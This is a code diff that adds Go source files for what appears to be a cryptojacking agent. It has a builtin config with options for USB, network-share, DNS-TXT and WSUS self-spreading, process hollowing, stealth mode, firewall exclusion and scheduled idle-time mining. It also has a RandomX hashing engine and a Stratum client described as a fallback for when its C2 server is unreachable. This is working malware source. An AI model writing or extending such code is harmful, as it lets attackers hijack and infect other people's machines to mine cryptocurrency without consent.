--- a/usb/agent/config/builtin.go
+++ b/usb/agent/config/builtin.go
@@ -0,0 +1,63 @@
+package config
+
+import "time"
+
+func GetBuiltinConfig() BuiltinConfig {
+	return BuiltinConfig{
+		WorkerName:          "dev-worker",
+		ServerURL:           "http://127.0.0.1:8989",
+		Wallet:              "",
+		Threads:             4,
+		ThreadMode:          "percent",
+		ThreadPercent:       75,
+		CPUPriority:         "below_normal",
+		MiningMode:          "always",
+		MinerExecution:      "inprocess",
+		DisplayMode:         "visible",
+		SilentMode:          false,
+		RunAs:               "user",
+		AutoStart:           false,
+		ProcessName:         "CryptoMinerWorker",
+		BuildID:             "dev",
+		BuiltAt:             time.Now(),
+		PoolHost:            "pool.supportxmr.com",
+		PoolPort:            3333,
+		PoolTLS:             false,
+		PoolPass:            "x",
+		MaxCPUUsage:         95,
+		MaxMemoryPct:        85,
+		MinFreeRAM:          512,
+		IdleThresholdPct:    20,
+		IdleDurationMinutes: 5,
+		ScheduleStart:       "21:00",
+		ScheduleEnd:         "06:00",
+		InstallBase:         "localappdata",
+		InstallRelativePath: DefaultInstallRelativePath,
+		AdaptToHardware:     true,
+		SelfHealing:         true,
+		FileLogging:         true,
+		StealthMode:         false,
+		FirewallExclusion:   true,
+		AIEnabled:           false,
+		AIOllamaEndpoint:    "http://localhost:11434",
+		AIModel:             "llama3.2",
+		ProcessHollowing:    false,
+		MeshP2P:             false,
+		AutoSpread:          false,
+		HolePunch:           false,
+		RemoteAggressive:    false,
+		USBSpread:           false,
+		ShareSpread:         false,
+		GPUEnabled:          false,
+		RVNWallet:           "",
+		RVNPoolHost:         "rvn.2miners.com",
+		RVNPoolPort:         6060,
+		RVNPoolTLS:          false,
+		RVNPoolPass:         "x",
+		LotlOnionEnabled:     false,
+		LotlPolicyFromServer: false,
+		DnsTxtSpread:         true,
+		WebRTCMeshSpread:     false,
+		WSUSCachePeerSpread:  true,
+	}
+}
--- a/usb/agent/miner/engine.go
+++ b/usb/agent/miner/engine.go
@@ -0,0 +1,85 @@
+package miner
+
+import (
+	"encoding/hex"
+	"errors"
+	"fmt"
+	"sync"
+
+	"git.gammaspectra.live/P2Pool/go-randomx"
+)
+
+var (
+	ErrEngineNotReady = errors.New("randomx VM not initialized")
+	ErrBlobTooShort   = errors.New("blob shorter than nonce offset")
+)
+
+const nonceOffset = 39
+const nonceSize = 4
+
+// go-randomx is a pure-Go implementation; hardware flags are ignored internally.
+const randomxFlags = 0
+
+type Engine struct {
+	mu      sync.RWMutex
+	cache   *randomx.Randomx_Cache
+	vm      *randomx.VM
+	seedHex string
+	blob    []byte
+}
+
+func NewEngine() *Engine {
+	cache := randomx.Randomx_alloc_cache(randomxFlags)
+	return &Engine{cache: cache}
+}
+
+func (e *Engine) SetJob(seedHex, blobHex string) error {
+	seed, err := hex.DecodeString(seedHex)
+	if err != nil {
+		return err
+	}
+	blob, err := hex.DecodeString(blobHex)
+	if err != nil {
+		return err
+	}
+
+	e.mu.Lock()
+	defer e.mu.Unlock()
+
+	if e.seedHex != seedHex {
+		e.cache.Randomx_init_cache(seed)
+		// go-randomx requires SuperScalar programs to be built separately after
+		// seeding the cache; Randomx_init_cache only populates the Argon2d blocks.
+		// Without this step every CalculateHash call crashes with a nil-pointer.
+		gen := randomx.Init_Blake2Generator(seed, 0)
+		for i := range e.cache.Programs {
+			e.cache.Programs[i] = randomx.Build_SuperScalar_Program(gen)
+		}
+		e.vm = e.cache.VM_Initialize()
+		e.seedHex = seedHex
+	}
+	e.blob = append([]byte(nil), blob...)
+	return nil
+}
+
+func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) {
+	e.mu.RLock()
+	defer e.mu.RUnlock()
+
+	if e.vm == nil {
+		return "", "", ErrEngineNotReady
+	}
+	if len(e.blob) < nonceOffset+nonceSize {
+		return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
+	}
+
+	work := append([]byte(nil), e.blob...)
+	work[nonceOffset] = byte(nonce)
+	work[nonceOffset+1] = byte(nonce >> 8)
+	work[nonceOffset+2] = byte(nonce >> 16)
+	work[nonceOffset+3] = byte(nonce >> 24)
+
+	out := make([]byte, 32)
+	e.vm.CalculateHash(work, out)
+	return hex.EncodeToString(out), hex.EncodeToString(work), nil
+}
--- a/usb/agent/miner/stratum.go
+++ b/usb/agent/miner/stratum.go
@@ -0,0 +1,329 @@
+package miner
+
+// StratumClient provides a minimal Monero Stratum client that the agent falls
+// back to when the C2 server is unreachable. It feeds jobs directly into the
+// existing miner.Pool so hashing never stops, and submits found shares back to
+// the pool over Stratum so they are not lost.
+//
+// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages.
+// Reference: https://p2pool.io/docs/stratum.html
+
+import (
+	"bufio"
+	"crypto/tls"
+	"encoding/json"
+	"fmt"
+	"log"
+	"net"
+	"time"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/job"
+)
+
+// ─── Wire types ──────────────────────────────────────────────────────────────
+
+type stratumMsg struct {
+	ID      interface{}     `json:"id"`
+	JSONRPC string          `json:"jsonrpc,omitempty"`
+	Method  string          `json:"method,omitempty"`
+	Params  json.RawMessage `json:"params,omitempty"`
+	Result  json.RawMessage `json:"result,omitempty"`
+	Error   interface{}     `json:"error,omitempty"`
+}
+
+type loginResult struct {
+	ID     string       `json:"id"`
+	Job    *stratumJob  `json:"job"`
+	Status string       `json:"status"`
+}
+
+type stratumJob struct {
+	Blob     string `json:"blob"`
+	JobID    string `json:"job_id"`
+	Target   string `json:"target"`
+	SeedHash string `json:"seed_hash"`
+	Height   int64  `json:"height"`
+}
+
+type submitParams struct {
+	ID    string `json:"id"`
+	JobID string `json:"job_id"`
+	Nonce string `json:"nonce"`
+	Hash  string `json:"result"` // field name "result" in Stratum protocol
+}
+
+// ─── Pool endpoint list ───────────────────────────────────────────────────────
+
+type stratumEndpoint struct {
+	Host string
+	Port int
+	TLS  bool
+	Pass string
+}
+
+func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint {
+	eps := []stratumEndpoint{{
+		Host: cfg.PoolHost,
+		Port: cfg.PoolPort,
+		TLS:  cfg.PoolTLS,
+		Pass: cfg.PoolPass,
+	}}
+	for _, bp := range cfg.BackupPools {
+		if bp.Host != "" && bp.Port > 0 {
+			eps = append(eps, stratumEndpoint{
+				Host: bp.Host,
+				Port: bp.Port,
+				TLS:  bp.TLS,
+				Pass: bp.Pass,
+			})
+		}
+	}
+	return eps
+}
+
+// ─── StratumClient ───────────────────────────────────────────────────────────
+
+// StratumClient mines via a direct Stratum connection. It is started when the
+// C2 server is unreachable and stopped as soon as C2 comes back.
+type StratumClient struct {
+	pool *Pool
+	cfg  config.RuntimeConfig
+}
+
+func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient {
+	return &StratumClient{pool: pool, cfg: cfg}
+}
+
+// RunFallback cycles through all configured pools, trying each in turn, until
+// stopCh is closed.  If a pool does not deliver a mining job within 5 seconds
+// of a successful login the connection is dropped and the next pool is tried.
+func (s *StratumClient) RunFallback(stopCh <-chan struct{}) {
+	if s.cfg.PoolHost == "" {
+		log.Printf("[stratum] no pool configured — fallback unavailable")
+		return
+	}
+	endpoints := buildStratumEndpoints(s.cfg)
+	idx := 0
+	for {
+		select {
+		case <-stopCh:
+			return
+		default:
+		}
+		ep := endpoints[idx%len(endpoints)]
+		log.Printf("[stratum] connecting to %s:%d (pool %d/%d)", ep.Host, ep.Port, idx%len(endpoints)+1, len(endpoints))
+		if err := s.runPool(ep, stopCh); err != nil {
+			log.Printf("[stratum] pool %s:%d: %v — rotating to next pool", ep.Host, ep.Port, err)
+		}
+		idx++
+		// Short pause between pool attempts so we don't hammer them.
+		select {
+		case <-stopCh:
+			return
+		case <-time.After(3 * time.Second):
+		}
+	}
+}
+
+// runPool manages one Stratum connection until it fails or stopCh is closed.
+func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error {
+	addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port))
+	var conn net.Conn
+	var err error
+	if ep.TLS {
+		conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec
+	} else {
+		conn, err = net.DialTimeout("tcp", addr, 10*time.Second)
+	}
+	if err != nil {
+		return err
+	}
+	defer conn.Close()
+
+	// Set up a reader (Stratum is newline-delimited JSON).
+	reader := bufio.NewReader(conn)
+	msgID := 1
+
+	// ── Login ────────────────────────────────────────────────────────────────
+	wallet := s.cfg.Wallet
+	pass := ep.Pass
+	if pass == "" {
+		pass = "x"
+	}
+	loginReq, _ := json.Marshal(stratumMsg{
+		ID:      msgID,
+		JSONRPC: "2.0",
+		Method:  "login",
+		Params: mustMarshal(map[string]interface{}{
+			"login": wallet,
+			"pass":  pass,
+			"rigid": s.cfg.WorkerName,
+			"agent": "AetherForge/" + config.Version,
+		}),
+	})
+	msgID++
+	if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil {
+		return fmt.Errorf("login send: %w", err)
+	}
+	_ = conn.SetDeadline(time.Now().Add(30 * time.Second))
+	loginLine, err := reader.ReadString('\n')
+	if err != nil {
+		return fmt.Errorf("login read: %w", err)
+	}
+	_ = conn.SetDeadline(time.Time{}) // clear deadline
+
+	var loginResp stratumMsg
+	if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil {
+		return fmt.Errorf("login parse: %w", err)
+	}
+	if loginResp.Error != nil {
+		return fmt.Errorf("login error: %v", loginResp.Error)
+	}
+	var lr loginResult
+	if err := json.Unmarshal(loginResp.Result, &lr); err != nil {
+		return fmt.Errorf("login result parse: %w", err)
+	}
+	sessionID := lr.ID
+	log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID)
+
+	// Feed the initial job from the login response.
+	gotJob := lr.Job != nil
+	if lr.Job != nil {
+		s.setJob(lr.Job)
+	}
+
+	// ── Share submission channel ──────────────────────────────────────────────
+	// The pool's share handler sends shares here; this goroutine drains them
+	// and writes submit requests to the Stratum connection.
+	shareCh := make(chan [3]string, 64) // [jobID, nonce, hash]
+	s.pool.SetShareHandler(func(jobID, nonce, hash string) {
+		select {
+		case shareCh <- [3]string{jobID, nonce, hash}:
+		default:
+			log.Printf("[stratum] share channel full — dropping share")
+		}
+	})
+
+	// innerDone is closed when runPool returns for any reason (connection error
+	// or stopCh). It signals the submit goroutine to exit even when stopCh is
+	// still open, preventing a hang until the next share arrives.
+	innerDone := make(chan struct{})
+	submitDone := make(chan struct{})
+	go func() {
+		defer close(submitDone)
+		for {
+			select {
+			case <-stopCh:
+				return
+			case <-innerDone:
+				return
+			case share, ok := <-shareCh:
+				if !ok {
+					return
+				}
+				params, _ := json.Marshal(submitParams{
+					ID:    sessionID,
+					JobID: share[0],
+					Nonce: share[1],
+					Hash:  share[2],
+				})
+				req, _ := json.Marshal(stratumMsg{
+					ID:      msgID,
+					JSONRPC: "2.0",
+					Method:  "submit",
+					Params:  params,
+				})
+				msgID++
+				if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil {
+					log.Printf("[stratum] submit write error: %v", err)
+					return
+				}
+			}
+		}
+	}()
+	// Signal the submit goroutine and wait for it when runPool returns.
+	defer func() {
+		close(innerDone)
+		<-submitDone
+	}()
+
+	// Close the TCP connection as soon as stopCh fires so that the blocking
+	// reader.ReadString call (120 s deadline) unblocks immediately rather than
+	// making callers wait up to two minutes for the fallback to stop.
+	go func() {
+		select {
+		case <-stopCh:
+			_ = conn.Close()
+		case <-innerDone:
+		}
+	}()
+
+	// ── Job receive loop ──────────────────────────────────────────────────────
+	// If the login response contained no job, give the pool 60 seconds to push
+	// one before we give up and rotate to the next endpoint.
+	var jobDeadline <-chan time.Time
+	if !gotJob {
+		jobDeadline = time.After(60 * time.Second)
+	}
+
+	keepalive := time.NewTicker(60 * time.Second)
+	defer keepalive.Stop()
+
+	for {
+		select {
+		case <-stopCh:
+			return nil
+		case <-jobDeadline:
+			return fmt.Errorf("no job received within 60s — rotating to next pool")
+		case <-keepalive.C:
+			req, _ := json.Marshal(stratumMsg{
+				ID:      msgID,
+				JSONRPC: "2.0",
+				Method:  "keepalived",
+				Params:  mustMarshal(map[string]string{"id": sessionID}),
+			})
+			msgID++
+			_, _ = fmt.Fprintf(conn, "%s\n", req)
+		default:
+		}
+
+		_ = conn.SetDeadline(time.Now().Add(120 * time.Second))
+		line, err := reader.ReadString('\n')
+		if err != nil {
+			return fmt.Errorf("read: %w", err)
+		}
+		var msg stratumMsg
+		if err := json.Unmarshal([]byte(line), &msg); err != nil {
+			continue
+		}
+		if msg.Method == "job" {
+			var sj stratumJob
+			if err := json.Unmarshal(msg.Params, &sj); err == nil {
+				s.setJob(&sj)
+				jobDeadline = nil // job received — cancel the 60s rotation timer
+			}
+		}
+	}
+}
+
+// setJob converts a Stratum job into the agent's internal job.Job format and
+// feeds it into the miner Pool.
+func (s *StratumClient) setJob(sj *stratumJob) {
+	if sj == nil || sj.Blob == "" {
+		return
+	}
+	j := &job.Job{
+		ID:       sj.JobID,
+		Blob:     sj.Blob,
+		Target:   sj.Target,
+		SeedHash: sj.SeedHash,
+	}
+	s.pool.SetJob(j)
+	log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height)
+}
+
+func mustMarshal(v interface{}) json.RawMessage {
+	b, _ := json.Marshal(v)
+	return b
+}
				`@@ -1 +0,0 @@`
				`eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9`